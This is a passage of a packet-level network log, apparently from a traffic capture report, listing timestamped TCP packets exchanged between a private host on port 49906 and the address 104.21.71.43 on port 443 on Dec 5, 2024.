Dec 5, 2024 15:04:29.185084105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.185141087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.185149908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.185185909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.191855907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.191871881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.191931009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.191939116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.191976070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.199412107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.199426889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.199489117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.199496984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.199533939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.206953049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.206969023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.207039118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.207046986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.207087040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.214790106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.214804888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.214891911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.214900017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.214935064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.354152918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.354177952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.354234934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.354250908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.354266882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.354285955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.361768961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.361784935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.361840010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.361850977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.361892939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.369673967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.369689941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.369745970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.369752884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.369786024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.376463890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.376482010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.376528025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.376534939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.376548052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.376578093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.384412050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.384427071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.384481907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.384488106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.384542942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.392014027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.392030954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.392090082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.392097950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.392142057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.399358988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.399375916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.399434090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.399441004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.399488926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.407322884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.407337904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.407392979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.407401085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.407443047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.546616077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.546637058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.546785116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.546807051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.546946049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.554263115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.554280043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.554466963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.554475069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.554516077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.562124968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.562141895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.562206030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.562213898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.562249899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.568948030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.568964958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.569046021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.569052935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.569097996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.576927900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.576945066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.577025890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.577033043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.577080011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.584492922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.584510088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.584594965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.584619999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.584664106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.591897964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.591914892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.592103958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.592125893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.592171907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.599704027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.599720955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.599791050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.599812984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.599854946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.738851070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.738878965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.738985062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.739017010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.739058971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.746882915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.746907949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.746978045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.746989012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.747028112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.754374027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.754405975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.754467964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.754481077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.754553080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.761152983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.761178017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.761238098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.761255980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.761327028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.769053936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.769071102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.769131899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.769144058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.769196033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.776441097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.776463985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.776546955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.776556015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.779853106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.784506083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.784532070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.784584045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.784591913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.787856102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.792028904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.792052984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.792126894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.792135954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.793930054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.932017088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.932044029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.932221889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.932248116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.932437897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.939002991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.939021111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.939126015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.939135075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.939270020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.946440935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.946459055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.946553946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.946562052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.946616888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.954344988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.954360962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.954452991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.954459906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.955862045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.961133003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.961149931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.961235046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.961244106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.963867903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.969405890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.969422102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.969475031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.969484091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.969515085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.969538927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.978842020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.978867054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.978946924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.978961945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.979072094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.985882044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.985898018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.985958099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.985971928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.986018896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.124260902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.124283075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.124377966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.124394894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.125183105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.131916046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.131932974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.131990910 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.131999016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.132076025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.138772964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.138801098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.138854980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.138863087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.138937950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.146466017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.146481037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.146541119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.146555901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.146655083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.154335022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.154350996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.154428005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.154441118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.154529095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.161607027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.161622047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.161679983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.161693096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.161796093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.170721054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.170742989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.170828104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.170841932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.171853065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.178155899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.178172112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.178234100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.178246975 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.179862022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.317240953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.317279100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.317328930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.317344904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.317358971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.317923069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.324012041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.324063063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.324101925 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.324125051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.324139118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.327871084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.331654072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.331671953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.331732035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.331741095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.331769943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.331795931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.343554020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.343576908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.343667984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.343676090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.343729019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.346385002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.346400976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.346462011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.346477032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.346539021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.354691982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.354710102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.354789972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.354809046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.354852915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.363305092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.363329887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.363394022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.363424063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.363449097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.363486052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.370418072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.370433092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.370511055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.370518923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.370563030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.509222984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.509251118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.509314060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.509340048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.509370089 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.509391069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.516896009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.516916990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.516962051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.516968966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.517004967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.523610115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.523627043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.523694992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.523701906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.523745060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.531303883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.531330109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.531413078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.531419992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.531452894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.539186001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.539203882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.539294004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.539304018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.539359093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.546447992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.546466112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.546520948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.546529055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.546560049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.555453062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.555469990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.555537939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.555545092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.557919979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.562923908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.562958956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.563016891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.563024044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.565870047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.701035023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.701059103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.701162100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.701176882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.701221943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.708877087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.708900928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.708985090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.708992004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.709041119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.715754986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.715783119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.715826988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.715841055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.715864897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.715882063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.721369982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.721406937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.721445084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.721463919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.721479893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.723438025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.723490000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.723510027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.723896980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.725653887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:30.725727081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:30.732984066 CET	443	49906	104.21.71.43	192.168.2.6
